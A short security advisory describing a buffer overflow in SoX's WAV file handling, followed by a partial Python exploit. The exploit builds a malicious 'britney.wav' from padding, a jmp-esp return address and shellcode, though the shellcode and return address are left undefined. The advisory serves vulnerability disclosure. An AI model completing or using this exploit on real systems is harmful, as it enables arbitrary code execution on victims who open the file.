As we reported in SoX Local Buffer Overflow Vulnerabilities (st_wavstartread), SoX is vulnerable to a buffer overflow attack when processing WAV files. The condition occurs due to a user controlled length variable which is used to copy data to a local buffer without any bounds checking.
The following exploit can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Serkan Akpolat.
evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"